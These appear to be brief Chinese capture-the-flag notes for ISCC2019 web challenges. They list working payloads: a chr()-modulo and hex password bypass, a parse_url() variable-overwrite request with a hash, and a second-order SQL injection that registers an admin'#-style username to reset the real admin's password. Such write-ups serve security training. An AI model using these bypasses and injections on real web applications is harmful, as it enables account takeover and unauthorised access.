接收兩個參數：value數組 password
代碼審計
w3lc0me_To_ISCC2019
str函數轉ascii碼時自動取模256；password 采用16進制繞過
payload:
?value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0x2333
########################################################################################################################################
parse_url()函數變量覆蓋
payload:
?action=auth&key=abcd&hashed_key=88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589
########################################################################################################################################
新注冊一個用戶：admin’#366 password: 123456
注冊成功
使用注冊的用戶登錄
更改密碼，實際admin的密碼也更改了。再使用admin登錄即可。
